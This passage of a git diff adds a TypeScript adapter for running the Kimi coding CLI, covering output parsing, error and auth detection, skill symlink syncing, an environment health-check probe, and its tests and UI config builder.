+    if (role === "tool") {
+      toolResults.push({
+        toolCallId: asString(event.tool_call_id, "").trim() || null,
+        content: asString(event.content, ""),
+      });
+      continue;
+    }
+
+    if (role === "meta") {
+      const type = asString(event.type, "").trim();
+      if (type === "session.resume_hint") {
+        sessionId = asString(event.session_id, "").trim() || sessionId;
+      }
+      continue;
+    }
+
+    // Defensive: kimi has no dedicated error event in the verified schema, but
+    // tolerate {"role":"error"} / {"type":"error"} lines if they ever appear.
+    const type = asString(event.type, "").trim().toLowerCase();
+    if (role === "error" || type === "error") {
+      const text = errorText(event.error ?? event.message ?? event.content ?? event.detail).trim();
+      if (text) errorMessage = text;
+    }
+  }
+
+  return {
+    sessionId,
+    summary: buildKimiRunSummary(textParts),
+    toolCalls,
+    toolResults,
+    errorMessage,
+  };
+}
+
+export interface KimiRuntimeEvent {
+  eventType: string;
+  message?: string;
+  payload?: Record<string, unknown>;
+}
+
+/**
+ * Map a single `kimi -p ... --output-format stream-json` line to live runtime
+ * events for `onEvent`, which drive the issue-thread activity indicator
+ * (`currentToolName` / `lastAssistantSnippet` / `lastEventAt`).
+ *
+ * Kimi emits complete messages in bursts with no token-level streaming, so
+ * without this the issue thread never sees a tool name or assistant snippet and
+ * sits on a stale "no output for N s" line while the model thinks. Tool results
+ * are intentionally omitted so the last meaningful "Using X" / assistant snippet
+ * is not overwritten by a generic label; the raw run-log stream keeps the
+ * activity timer fresh across tool execution.
+ */
+export function extractKimiRuntimeEvents(line: string): KimiRuntimeEvent[] {
+  const event = parseJson(line);
+  if (!event) return [];
+  const role = asString(event.role, "").trim().toLowerCase();
+  if (role !== "assistant") return [];
+
+  const events: KimiRuntimeEvent[] = [];
+  const content = asString(event.content, "").trim();
+  if (content) {
+    events.push({ eventType: "assistant", message: content, payload: { content } });
+  }
+  const calls = Array.isArray(event.tool_calls) ? event.tool_calls : [];
+  for (const callRaw of calls) {
+    const call = parseObject(callRaw);
+    const fn = parseObject(call.function);
+    const name = asString(fn.name, asString(call.name, "")).trim();
+    if (name) {
+      events.push({ eventType: "tool_call", payload: { toolName: name } });
+    }
+  }
+  return events;
+}
+
+function normalizedHaystack(stdout: string, stderr: string): string {
+  return `${stdout}\n${stderr}`
+    .split(/\r?\n/)
+    .map((line) => line.trim())
+    .filter(Boolean)
+    .join("\n");
+}
+
+export function isKimiSessionUnrecoverableError(stdout: string, stderr: string): boolean {
+  return /unknown\s+session|session(?:\s+.*)?\s+not\s+found|resume\s+.*\s+not\s+found|cannot\s+resume|failed\s+to\s+resume|invalid\s+session/i.test(
+    normalizedHaystack(stdout, stderr),
+  );
+}
+
+export function isKimiTransientNetworkError(stdout: string, stderr: string): boolean {
+  return /ENOTFOUND|EAI_AGAIN|ECONNRESET|ECONNREFUSED|ETIMEDOUT|fetch\s+failed|socket\s+hang\s+up/i.test(
+    normalizedHaystack(stdout, stderr),
+  );
+}
+
+export function describeKimiFailure(input: {
+  errorMessage?: string | null;
+  stderr?: string;
+}): string | null {
+  const detail =
+    (typeof input.errorMessage === "string" ? input.errorMessage.trim() : "") ||
+    (input.stderr ?? "")
+      .split(/\r?\n/)
+      .map((line) => line.trim())
+      .find(Boolean) ||
+    "";
+  if (!detail) return null;
+  const clean = detail.replace(/\s+/g, " ").trim();
+  const max = 240;
+  return `Kimi run failed: ${clean.length > max ? `${clean.slice(0, max - 1)}…` : clean}`;
+}
+
+const KIMI_AUTH_REQUIRED_RE =
+  /(?:\bkimi\s+login\b|\blogin\s+required\b|not\s+(?:logged\s+in|authenticated)|\b401\b|unauthorized|device\s+code|authentication\s+(?:required|failed)|invalid\s+api[_ ]?key)/i;
+
+export function detectKimiAuthRequired(input: {
+  stdout: string;
+  stderr: string;
+}): { requiresAuth: boolean } {
+  const requiresAuth = normalizedHaystack(input.stdout, input.stderr)
+    .split(/\r?\n/)
+    .some((line) => KIMI_AUTH_REQUIRED_RE.test(line));
+  return { requiresAuth };
+}
diff --git a/packages/adapters/kimi-local/src/server/skills.ts b/packages/adapters/kimi-local/src/server/skills.ts
new file mode 100644
index 00000000000..5938b963156
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/skills.ts
@@ -0,0 +1,87 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import type {
+  AdapterSkillContext,
+  AdapterSkillSnapshot,
+} from "@paperclipai/adapter-utils";
+import {
+  buildPersistentSkillSnapshot,
+  ensurePaperclipSkillSymlink,
+  readPaperclipRuntimeSkillEntries,
+  readInstalledSkillTargets,
+  resolvePaperclipDesiredSkillNames,
+} from "@paperclipai/adapter-utils/server-utils";
+
+const __moduleDir = path.dirname(fileURLToPath(import.meta.url));
+
+function asString(value: unknown): string | null {
+  return typeof value === "string" && value.trim().length > 0 ? value.trim() : null;
+}
+
+/**
+ * Resolve the Kimi skills home, honoring KIMI_CODE_HOME (adapter config env
+ * first, then the server process env) and falling back to ~/.kimi-code/skills.
+ */
+function resolveKimiSkillsHome(config: Record<string, unknown>) {
+  const env =
+    typeof config.env === "object" && config.env !== null && !Array.isArray(config.env)
+      ? (config.env as Record<string, unknown>)
+      : {};
+  const kimiCodeHome = asString(env.KIMI_CODE_HOME) ?? asString(process.env.KIMI_CODE_HOME);
+  if (kimiCodeHome) return path.join(path.resolve(kimiCodeHome), "skills");
+  const configuredHome = asString(env.HOME);
+  const home = configuredHome ? path.resolve(configuredHome) : os.homedir();
+  return path.join(home, ".kimi-code", "skills");
+}
+
+async function buildKimiSkillSnapshot(config: Record<string, unknown>): Promise<AdapterSkillSnapshot> {
+  const availableEntries = await readPaperclipRuntimeSkillEntries(config, __moduleDir);
+  const desiredSkills = resolvePaperclipDesiredSkillNames(config, availableEntries);
+  const skillsHome = resolveKimiSkillsHome(config);
+  const installed = await readInstalledSkillTargets(skillsHome);
+  return buildPersistentSkillSnapshot({
+    adapterType: "kimi_local",
+    availableEntries,
+    desiredSkills,
+    installed,
+    skillsHome,
+    locationLabel: "~/.kimi-code/skills",
+    missingDetail: "Configured but not currently linked into the Kimi skills home.",
+    externalConflictDetail: "Skill name is occupied by an external installation.",
+    externalDetail: "Installed outside Paperclip management.",
+  });
+}
+
+export async function listKimiSkills(ctx: AdapterSkillContext): Promise<AdapterSkillSnapshot> {
+  return buildKimiSkillSnapshot(ctx.config);
+}
+
+export async function syncKimiSkills(
+  ctx: AdapterSkillContext,
+  desiredSkills: string[],
+): Promise<AdapterSkillSnapshot> {
+  const availableEntries = await readPaperclipRuntimeSkillEntries(ctx.config, __moduleDir);
+  const desiredSet = new Set(desiredSkills);
+  const skillsHome = resolveKimiSkillsHome(ctx.config);
+  await fs.mkdir(skillsHome, { recursive: true });
+  const installed = await readInstalledSkillTargets(skillsHome);
+  const availableByRuntimeName = new Map(availableEntries.map((entry) => [entry.runtimeName, entry]));
+
+  for (const available of availableEntries) {
+    if (!desiredSet.has(available.key)) continue;
+    const target = path.join(skillsHome, available.runtimeName);
+    await ensurePaperclipSkillSymlink(available.source, target);
+  }
+
+  for (const [name, installedEntry] of installed.entries()) {
+    const available = availableByRuntimeName.get(name);
+    if (!available) continue;
+    if (desiredSet.has(available.key)) continue;
+    if (installedEntry.targetPath !== available.source) continue;
+    await fs.unlink(path.join(skillsHome, name)).catch(() => {});
+  }
+
+  return buildKimiSkillSnapshot(ctx.config);
+}
diff --git a/packages/adapters/kimi-local/src/server/test.test.ts b/packages/adapters/kimi-local/src/server/test.test.ts
new file mode 100644
index 00000000000..b6e96bf53ff
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/test.test.ts
@@ -0,0 +1,165 @@
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+
+const ensureDirectoryMock = vi.hoisted(() => vi.fn(async () => {}));
+const ensureCommandMock = vi.hoisted(() => vi.fn(async () => {}));
+const maybeInstallMock = vi.hoisted(() => vi.fn(async () => null));
+const runProcessMock = vi.hoisted(() => vi.fn());
+
+vi.mock("@paperclipai/adapter-utils/execution-target", () => ({
+  describeAdapterExecutionTarget: () => "local",
+  ensureAdapterExecutionTargetCommandResolvable: ensureCommandMock,
+  ensureAdapterExecutionTargetDirectory: ensureDirectoryMock,
+  maybeRunSandboxInstallCommand: maybeInstallMock,
+  resolveAdapterExecutionTargetCwd: (_target: unknown, configuredCwd: string, fallbackCwd: string) =>
+    configuredCwd || fallbackCwd,
+  runAdapterExecutionTargetProcess: runProcessMock,
+}));
+
+import { testEnvironment } from "./test.js";
+
+describe("kimi_local testEnvironment", () => {
+  beforeEach(() => {
+    ensureDirectoryMock.mockClear();
+    ensureCommandMock.mockClear();
+    maybeInstallMock.mockClear();
+    runProcessMock.mockReset();
+    // Keep auth detection deterministic on hosts that really have kimi set up.
+    vi.stubEnv("KIMI_MODEL_NAME", "");
+    vi.stubEnv("KIMI_MODEL_API_KEY", "");
+    vi.stubEnv("KIMI_CODE_HOME", "");
+  });
+
+  afterEach(() => {
+    vi.unstubAllEnvs();
+  });
+
+  it("reports a healthy host with a working version and hello probe", async () => {
+    runProcessMock
+      .mockResolvedValueOnce({
+        exitCode: 0,
+        signal: null,
+        timedOut: false,
+        stdout: "kimi 0.27.0\n",
+        stderr: "",
+      })
+      .mockResolvedValueOnce({
+        exitCode: 0,
+        signal: null,
+        timedOut: false,
+        stdout: [
+          JSON.stringify({ role: "assistant", content: "hello" }),
+          JSON.stringify({ role: "meta", type: "session.resume_hint", session_id: "session_1" }),
+        ].join("\n"),
+        stderr: "",
+      });
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "kimi_local",
+      config: {
+        engine: "cli",
+        command: "kimi",
+        cwd: "/tmp/project",
+        env: {
+          KIMI_MODEL_NAME: "kimi-code/kimi-for-coding",
+          KIMI_MODEL_API_KEY: "test-key",
+        },
+      },
+    });
+
+    expect(result.status).toBe("pass");
+    expect(result.checks.map((check: { code: string }) => check.code)).toEqual(
+      expect.arrayContaining([
+        "kimi_command_resolvable",
+        "kimi_version_detected",
+        "kimi_auth_detected",
+        "kimi_hello_probe_passed",
+      ]),
+    );
+    expect(runProcessMock).toHaveBeenNthCalledWith(
+      1,
+      expect.any(String),
+      null,
+      "kimi",
+      ["--version"],
+      expect.any(Object),
+    );
+    expect(runProcessMock).toHaveBeenNthCalledWith(
+      2,
+      expect.any(String),
+      null,
+      "kimi",
+      expect.arrayContaining([
+        "--output-format",
+        "stream-json",
+        "-p",
+        "Respond with hello.",
+      ]),
+      expect.any(Object),
+    );
+  });
+
+  it("passes -m to the hello probe when a model is configured", async () => {
+    runProcessMock
+      .mockResolvedValueOnce({ exitCode: 0, signal: null, timedOut: false, stdout: "kimi 0.27.0\n", stderr: "" })
+      .mockResolvedValueOnce({
+        exitCode: 0,
+        signal: null,
+        timedOut: false,
+        stdout: JSON.stringify({ role: "assistant", content: "hello" }),
+        stderr: "",
+      });
+
+    await testEnvironment({
+      companyId: "company-1",
+      adapterType: "kimi_local",
+      config: {
+        engine: "cli",
+        command: "kimi",
+        cwd: "/tmp/project",
+        model: "kimi-code/k3",
+        env: { KIMI_MODEL_NAME: "kimi-code/k3", KIMI_MODEL_API_KEY: "test-key" },
+      },
+    });
+
+    expect(runProcessMock).toHaveBeenNthCalledWith(
+      2,
+      expect.any(String),
+      null,
+      "kimi",
+      expect.arrayContaining(["-m", "kimi-code/k3"]),
+      expect.any(Object),
+    );
+  });
+
+  it("downgrades missing auth and auth probe failures to warnings", async () => {
+    runProcessMock
+      .mockResolvedValueOnce({ exitCode: 0, signal: null, timedOut: false, stdout: "kimi 0.27.0\n", stderr: "" })
+      .mockResolvedValueOnce({
+        exitCode: 1,
+        signal: null,
+        timedOut: false,
+        stdout: "",
+        stderr: "Not authenticated. Run `kimi login` to authenticate with a device code.",
+      });
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "kimi_local",
+      config: {
+        engine: "cli",
+        command: "kimi",
+        cwd: "/tmp/project",
+        env: { KIMI_CODE_HOME: "/nonexistent-kimi-home-for-test" },
+      },
+    });
+
+    expect(result.status).toBe("warn");
+    expect(result.checks.map((check: { code: string }) => check.code)).toEqual(
+      expect.arrayContaining([
+        "kimi_auth_missing",
+        "kimi_hello_probe_auth_required",
+      ]),
+    );
+  });
+});
diff --git a/packages/adapters/kimi-local/src/server/test.ts b/packages/adapters/kimi-local/src/server/test.ts
new file mode 100644
index 00000000000..551194d6553
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/test.ts
@@ -0,0 +1,342 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import type {
+  AdapterEnvironmentCheck,
+  AdapterEnvironmentTestContext,
+  AdapterEnvironmentTestResult,
+} from "@paperclipai/adapter-utils";
+import {
+  asNumber,
+  asString,
+  asStringArray,
+  ensurePathInEnv,
+  parseObject,
+} from "@paperclipai/adapter-utils/server-utils";
+import {
+  ensureAdapterExecutionTargetCommandResolvable,
+  maybeRunSandboxInstallCommand,
+  ensureAdapterExecutionTargetDirectory,
+  runAdapterExecutionTargetProcess,
+  describeAdapterExecutionTarget,
+  resolveAdapterExecutionTargetCwd,
+} from "@paperclipai/adapter-utils/execution-target";
+import { SANDBOX_INSTALL_COMMAND } from "../index.js";
+import { resolveKimiExecutionEngineForRun, testKimiAcpEnvironment } from "./acp.js";
+import { detectKimiAuthRequired, parseKimiJsonl } from "./parse.js";
+import { firstNonEmptyLine } from "./utils.js";
+
+function summarizeStatus(checks: AdapterEnvironmentCheck[]): AdapterEnvironmentTestResult["status"] {
+  if (checks.some((check) => check.level === "error")) return "fail";
+  if (checks.some((check) => check.level === "warn")) return "warn";
+  return "pass";
+}
+
+function isNonEmpty(value: unknown): value is string {
+  return typeof value === "string" && value.trim().length > 0;
+}
+
+function commandLooksLike(command: string, expected: string): boolean {
+  const base = path.basename(command).toLowerCase();
+  return base === expected || base === `${expected}.cmd` || base === `${expected}.exe`;
+}
+
+function summarizeProbeDetail(stdout: string, stderr: string, parsedError: string | null): string | null {
+  const raw = parsedError?.trim() || firstNonEmptyLine(stderr) || firstNonEmptyLine(stdout);
+  if (!raw) return null;
+  const clean = raw.replace(/\s+/g, " ").trim();
+  const max = 240;
+  return clean.length > max ? `${clean.slice(0, max - 1)}…` : clean;
+}
+
+async function pathExists(candidate: string): Promise<boolean> {
+  return fs.access(candidate).then(() => true).catch(() => false);
+}
+
+/**
+ * config.toml exists on any configured install and is not by itself proof of
+ * auth material. Only treat it as such when a [providers.*] table carries a
+ * non-empty api_key (direct API-key auth) — the OAuth dirs are checked
+ * separately.
+ */
+const PROVIDERS_TABLE_RE = /^\s*\[providers\.[^\]]+\]/m;
+const PROVIDER_API_KEY_RE = /^\s*api_key\s*=\s*"[^"]+"/m;
+
+async function configTomlHasProviderKey(configPath: string): Promise<boolean> {
+  try {
+    const contents = await fs.readFile(configPath, "utf8");
+    return PROVIDERS_TABLE_RE.test(contents) && PROVIDER_API_KEY_RE.test(contents);
+  } catch {
+    return false;
+  }
+}
+
+/**
+ * Detect Kimi authentication material on the local host: OAuth credentials
+ * under $KIMI_CODE_HOME (default ~/.kimi-code) or a config.toml with a keyed
+ * provider, plus the KIMI_MODEL_NAME + KIMI_MODEL_API_KEY env pair (config
+ * env or server env).
+ */
+async function detectLocalKimiAuth(env: Record<string, string>): Promise<string | null> {
+  if (
+    (isNonEmpty(env.KIMI_MODEL_NAME) || isNonEmpty(process.env.KIMI_MODEL_NAME)) &&
+    (isNonEmpty(env.KIMI_MODEL_API_KEY) || isNonEmpty(process.env.KIMI_MODEL_API_KEY))
+  ) {
+    return "KIMI_MODEL_NAME + KIMI_MODEL_API_KEY environment";
+  }
+  const kimiCodeHome =
+    (isNonEmpty(env.KIMI_CODE_HOME) && env.KIMI_CODE_HOME.trim()) ||
+    (isNonEmpty(process.env.KIMI_CODE_HOME) && process.env.KIMI_CODE_HOME.trim()) ||
+    path.join(os.homedir(), ".kimi-code");
+  for (const candidate of [path.join(kimiCodeHome, "credentials"), path.join(kimiCodeHome, "oauth")]) {
+    if (await pathExists(candidate)) {
+      return `${candidate} (kimi login OAuth)`;
+    }
+  }
+  const configPath = path.join(kimiCodeHome, "config.toml");
+  if (await configTomlHasProviderKey(configPath)) {
+    return `${configPath} ([providers.*] api_key)`;
+  }
+  return null;
+}
+
+export async function testEnvironment(
+  ctx: AdapterEnvironmentTestContext,
+): Promise<AdapterEnvironmentTestResult> {
+  const engineSelection = await resolveKimiExecutionEngineForRun({
+    config: parseObject(ctx.config),
+    executionTarget: ctx.executionTarget,
+  });
+  if (engineSelection.engine === "acp") {
+    return testKimiAcpEnvironment(ctx);
+  }
+
+  const checks: AdapterEnvironmentCheck[] = [];
+  if (!engineSelection.explicit && engineSelection.fallbackReason) {
+    checks.push({
+      code: "kimi_acp_default_fallback",
+      level: "warn",
+      message: "Kimi ACP default is unavailable; testing the Kimi CLI fallback lane.",
+      detail: engineSelection.fallbackReason,
+      hint: "Fix the ACP prerequisite to use the default ACP lane, or set engine=cli to pin the CLI lane.",
+    });
+  }
+  const config = parseObject(ctx.config);
+  const command = asString(config.command, "kimi");
+  const target = ctx.executionTarget ?? null;
+  const targetIsRemote = target?.kind === "remote";
+  const cwd = resolveAdapterExecutionTargetCwd(target, asString(config.cwd, ""), process.cwd());
+  const targetLabel = targetIsRemote
+    ? ctx.environmentName ?? describeAdapterExecutionTarget(target)
+    : null;
+  const runId = `kimi-envtest-${Date.now()}-${Math.random().toString(16).slice(2)}`;
+
+  if (targetLabel) {
+    checks.push({
+      code: "kimi_environment_target",
+      level: "info",
+      message: `Probing inside environment: ${targetLabel}`,
+    });
+  }
+
+  try {
+    await ensureAdapterExecutionTargetDirectory(runId, target, cwd, {
+      cwd,
+      env: {},
+      createIfMissing: true,
+    });
+    checks.push({
+      code: "kimi_cwd_valid",
+      level: "info",
+      message: `Working directory is valid: ${cwd}`,
+    });
+  } catch (err) {
+    checks.push({
+      code: "kimi_cwd_invalid",
+      level: "error",
+      message: err instanceof Error ? err.message : "Invalid working directory",
+      detail: cwd,
+    });
+  }
+
+  const envConfig = parseObject(config.env);
+  const env: Record<string, string> = {};
+  for (const [key, value] of Object.entries(envConfig)) {
+    if (typeof value === "string") env[key] = value;
+  }
+  const runtimeEnv = ensurePathInEnv({ ...process.env, ...env });
+  const installCheck = await maybeRunSandboxInstallCommand({
+    runId,
+    target,
+    adapterKey: "kimi",
+    installCommand: SANDBOX_INSTALL_COMMAND,
+    detectCommand: command,
+    env,
+  });
+  if (installCheck) checks.push(installCheck);
+  try {
+    await ensureAdapterExecutionTargetCommandResolvable(command, target, cwd, runtimeEnv);
+    checks.push({
+      code: "kimi_command_resolvable",
+      level: "info",
+      message: `Command is executable: ${command}`,
+    });
+  } catch (err) {
+    checks.push({
+      code: "kimi_command_unresolvable",
+      level: "error",
+      message: err instanceof Error ? err.message : "Command is not executable",
+      detail: command,
+    });
+  }
+
+  const canRunProbe =
+    checks.every((check) => check.code !== "kimi_cwd_invalid" && check.code !== "kimi_command_unresolvable");
+
+  if (canRunProbe && commandLooksLike(command, "kimi")) {
+    const versionProbe = await runAdapterExecutionTargetProcess(
+      runId,
+      target,
+      command,
+      ["--version"],
+      {
+        cwd,
+        env,
+        timeoutSec: 15,
+        graceSec: 5,
+        onLog: async () => {},
+      },
+    );
+    const versionLine = firstNonEmptyLine(versionProbe.stdout) || firstNonEmptyLine(versionProbe.stderr);
+    if (!versionProbe.timedOut && (versionProbe.exitCode ?? 1) === 0) {
+      checks.push({
+        code: "kimi_version_detected",
+        level: "info",
+        message: `Kimi CLI detected${versionLine ? `: ${versionLine.replace(/\s+/g, " ").trim().slice(0, 120)}` : "."}`,
+      });
+    } else {
+      checks.push({
+        code: "kimi_version_probe_failed",
+        level: "warn",
+        message: versionProbe.timedOut
+          ? "`kimi --version` timed out."
+          : "`kimi --version` did not exit cleanly.",
+        ...(versionLine ? { detail: versionLine } : {}),
+      });
+    }
+  }
+
+  const authSource = targetIsRemote
+    ? ((isNonEmpty(env.KIMI_MODEL_NAME) && isNonEmpty(env.KIMI_MODEL_API_KEY))
+      ? "KIMI_MODEL_NAME + KIMI_MODEL_API_KEY adapter env"
+      : null)
+    : await detectLocalKimiAuth(env);
+  if (authSource) {
+    checks.push({
+      code: "kimi_auth_detected",
+      level: "info",
+      message: "Kimi authentication material detected.",
+      detail: `Source: ${authSource}.`,
+    });
+  } else {
+    checks.push({
+      code: "kimi_auth_missing",
+      level: "warn",
+      message: "No Kimi authentication detected.",
+      hint: "Run `kimi login` (OAuth device flow) on the target host, or set KIMI_MODEL_NAME + KIMI_MODEL_API_KEY in the adapter env.",
+    });
+  }
+
+  if (canRunProbe) {
+    if (!commandLooksLike(command, "kimi")) {
+      checks.push({
+        code: "kimi_hello_probe_skipped_custom_command",
+        level: "info",
+        message: "Skipped hello probe because command is not `kimi`.",
+        detail: command,
+        hint: "Use the `kimi` CLI command to run the automatic installation and auth probe.",
+      });
+    } else {
+      const model = asString(config.model, "").trim();
+      const helloProbeTimeoutSec = Math.max(1, asNumber(config.helloProbeTimeoutSec, 60));
+      const extraArgs = (() => {
+        const fromExtraArgs = asStringArray(config.extraArgs);
+        if (fromExtraArgs.length > 0) return fromExtraArgs;
+        return asStringArray(config.args);
+      })();
+
+      const args = ["--output-format", "stream-json"];
+      if (model) args.push("-m", model);
+      if (extraArgs.length > 0) args.push(...extraArgs);
+      args.push("-p", "Respond with hello.");
+
+      const probe = await runAdapterExecutionTargetProcess(
+        runId,
+        target,
+        command,
+        args,
+        {
+          cwd,
+          env,
+          timeoutSec: helloProbeTimeoutSec,
+          graceSec: 5,
+          onLog: async () => {},
+        },
+      );
+      const parsed = parseKimiJsonl(probe.stdout);
+      const detail = summarizeProbeDetail(probe.stdout, probe.stderr, parsed.errorMessage);
+      const authMeta = detectKimiAuthRequired({
+        stdout: probe.stdout,
+        stderr: probe.stderr,
+      });
+
+      if (probe.timedOut) {
+        checks.push({
+          code: "kimi_hello_probe_timed_out",
+          level: "warn",
+          message: "Kimi hello probe timed out.",
+          hint: "Retry the probe. If this persists, verify Kimi can run `kimi -p \"Respond with hello.\"` from this directory manually.",
+        });
+      } else if ((probe.exitCode ?? 1) === 0) {
+        const summary = parsed.summary.trim();
+        const hasHello = /\bhello\b/i.test(summary);
+        checks.push({
+          code: hasHello ? "kimi_hello_probe_passed" : "kimi_hello_probe_unexpected_output",
+          level: hasHello ? "info" : "warn",
+          message: hasHello
+            ? "Kimi hello probe succeeded."
+            : "Kimi probe ran but did not return `hello` as expected.",
+          ...(summary ? { detail: summary.replace(/\s+/g, " ").trim().slice(0, 240) } : {}),
+          ...(hasHello
+            ? {}
+            : {
+              hint: "Try `kimi -p \"Respond with hello.\" --output-format stream-json` manually to inspect full output.",
+            }),
+        });
+      } else if (authMeta.requiresAuth) {
+        checks.push({
+          code: "kimi_hello_probe_auth_required",
+          level: "warn",
+          message: "Kimi CLI is installed, but authentication is not ready.",
+          ...(detail ? { detail } : {}),
+          hint: "Run `kimi login` or configure KIMI_MODEL_NAME + KIMI_MODEL_API_KEY in adapter env/shell, then retry the probe.",
+        });
+      } else {
+        checks.push({
+          code: "kimi_hello_probe_failed",
+          level: "error",
+          message: "Kimi hello probe failed.",
+          ...(detail ? { detail } : {}),
+          hint: "Run `kimi -p \"Respond with hello.\" --output-format stream-json` manually in this working directory to debug.",
+        });
+      }
+    }
+  }
+
+  return {
+    adapterType: ctx.adapterType,
+    status: summarizeStatus(checks),
+    checks,
+    testedAt: new Date().toISOString(),
+  };
+}
diff --git a/packages/adapters/kimi-local/src/server/utils.ts b/packages/adapters/kimi-local/src/server/utils.ts
new file mode 100644
index 00000000000..a4fdc6a39b6
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/utils.ts
@@ -0,0 +1,8 @@
+export function firstNonEmptyLine(text: string): string {
+  return (
+    text
+      .split(/\r?\n/)
+      .map((line) => line.trim())
+      .find(Boolean) ?? ""
+  );
+}
diff --git a/packages/adapters/kimi-local/src/ui/build-config.test.ts b/packages/adapters/kimi-local/src/ui/build-config.test.ts
new file mode 100644
index 00000000000..5c1ee34e213
--- /dev/null
+++ b/packages/adapters/kimi-local/src/ui/build-config.test.ts
@@ -0,0 +1,82 @@
+import { describe, expect, it } from "vitest";
+import type { CreateConfigValues } from "@paperclipai/adapter-utils";
+import { buildKimiLocalConfig } from "./build-config.js";
+
+function makeValues(overrides: Partial<CreateConfigValues> = {}): CreateConfigValues {
+  return {
+    adapterType: "kimi_local",
+    cwd: "",
+    instructionsFilePath: "",
+    promptTemplate: "",
+    model: "",
+    thinkingEffort: "",
+    chrome: false,
+    dangerouslySkipPermissions: true,
+    search: false,
+    fastMode: false,
+    dangerouslyBypassSandbox: false,
+    command: "",
+    args: "",
+    extraArgs: "",
+    envVars: "",
+    envBindings: {},
+    url: "",
+    bootstrapPrompt: "",
+    payloadTemplateJson: "",
+    workspaceStrategyType: "project_primary",
+    workspaceBaseRef: "",
+    workspaceBranchTemplate: "",
+    worktreeParentDir: "",
+    runtimeServicesJson: "",
+    maxTurnsPerRun: 1000,
+    heartbeatEnabled: false,
+    intervalSec: 300,
+    ...overrides,
+  };
+}
+
+describe("buildKimiLocalConfig", () => {
+  it("defaults the model to kimi-code/kimi-for-coding when unset", () => {
+    const config = buildKimiLocalConfig(makeValues());
+
+    expect(config.model).toBe("kimi-code/kimi-for-coding");
+    expect(config.timeoutSec).toBe(0);
+    expect(config.graceSec).toBe(15);
+  });
+
+  it("persists an explicit model and command", () => {
+    const config = buildKimiLocalConfig(makeValues({
+      model: "kimi-code/k3",
+      command: "/usr/local/bin/kimi",
+    }));
+
+    expect(config.model).toBe("kimi-code/k3");
+    expect(config.command).toBe("/usr/local/bin/kimi");
+  });
+
+  it("persists cwd, instructionsFilePath, and extra args", () => {
+    const config = buildKimiLocalConfig(makeValues({
+      cwd: "/tmp/project",
+      instructionsFilePath: "/tmp/project/AGENTS.md",
+      extraArgs: "--add-dir /tmp/other, --plan",
+    }));
+
+    expect(config.cwd).toBe("/tmp/project");
+    expect(config.instructionsFilePath).toBe("/tmp/project/AGENTS.md");
+    expect(config.extraArgs).toEqual(["--add-dir /tmp/other", "--plan"]);
+  });
+
+  it("merges legacy env vars with secret bindings", () => {
+    const config = buildKimiLocalConfig(makeValues({
+      envVars: "KIMI_MODEL_NAME=kimi-code/k3\n# comment\nINVALID LINE",
+      envBindings: {
+        KIMI_MODEL_API_KEY: { type: "secret_ref", secretId: "secret-1" },
+      },
+    }));
+
+    expect(config.env).toEqual({
+      KIMI_MODEL_NAME: { type: "plain", value: "kimi-code/k3" },
+      KIMI_MODEL_API_KEY: { type: "secret_ref", secretId: "secret-1" },
+    });
+  });
+});
diff --git a/packages/adapters/kimi-local/src/ui/build-config.ts b/packages/adapters/kimi-local/src/ui/build-config.ts
new file mode 100644
index 00000000000..dc51828c9e7
--- /dev/null
+++ b/packages/adapters/kimi-local/src/ui/build-config.ts
@@ -0,0 +1,73 @@
+import type { CreateConfigValues } from "@paperclipai/adapter-utils";
+import { DEFAULT_KIMI_LOCAL_MODEL } from "../index.js";
+
+function parseCommaArgs(value: string): string[] {
+  return value
+    .split(",")
+    .map((item) => item.trim())
+    .filter(Boolean);
+}
+
+function parseEnvVars(text: string): Record<string, string> {
+  const env: Record<string, string> = {};
+  for (const line of text.split(/\r?\n/)) {
+    const trimmed = line.trim();
+    if (!trimmed || trimmed.startsWith("#")) continue;
+    const eq = trimmed.indexOf("=");
+    if (eq <= 0) continue;
+    const key = trimmed.slice(0, eq).trim();
+    const value = trimmed.slice(eq + 1);
+    if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) continue;
+    env[key] = value;
+  }
+  return env;
+}
+
+function parseEnvBindings(bindings: unknown): Record<string, unknown> {
+  if (typeof bindings !== "object" || bindings === null || Array.isArray(bindings)) return {};
+  const env: Record<string, unknown> = {};
+  for (const [key, raw] of Object.entries(bindings)) {
+    if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) continue;
+    if (typeof raw === "string") {
+      env[key] = { type: "plain", value: raw };
+      continue;
+    }
+    if (typeof raw !== "object" || raw === null || Array.isArray(raw)) continue;
+    const rec = raw as Record<string, unknown>;
+    if (rec.type === "plain" && typeof rec.value === "string") {
+      env[key] = { type: "plain", value: rec.value };
+      continue;
+    }
+    if (rec.type === "secret_ref" && typeof rec.secretId === "string") {
+      env[key] = {
+        type: "secret_ref",
+        secretId: rec.secretId,
+        ...(typeof rec.version === "number" || rec.version === "latest"
+          ? { version: rec.version }
+          : {}),
+      };
+    }
+  }
+  return env;
+}
+
+export function buildKimiLocalConfig(v: CreateConfigValues): Record<string, unknown> {
+  const ac: Record<string, unknown> = {};
+  if (v.cwd) ac.cwd = v.cwd;
+  if (v.instructionsFilePath) ac.instructionsFilePath = v.instructionsFilePath;
+  ac.model = v.model || DEFAULT_KIMI_LOCAL_MODEL;
+  ac.timeoutSec = 0;
+  ac.graceSec = 15;
+  const env = parseEnvBindings(v.envBindings);
+  const legacy = parseEnvVars(v.envVars);
+  for (const [key, value] of Object.entries(legacy)) {
+    if (!Object.prototype.hasOwnProperty.call(env, key)) {
+      env[key] = { type: "plain", value };
+    }
+  }
+  if (Object.keys(env).length > 0) ac.env = env;
+
+  if (v.command) ac.command = v.command;
+  if (v.extraArgs) ac.extraArgs = parseCommaArgs(v.extraArgs);
+  return ac;
+}
diff --git a/packages/adapters/kimi-local/src/ui/index.ts b/packages/adapters/kimi-local/src/ui/index.ts
new file mode 100644
index 00000000000..ce2757e132a
--- /dev/null
+++ b/packages/adapters/kimi-local/src/ui/index.ts
@@ -0,0 +1,2 @@
+export { parseKimiStdoutLine } from "./parse-stdout.js";
+export { buildKimiLocalConfig } from "./build-config.js";
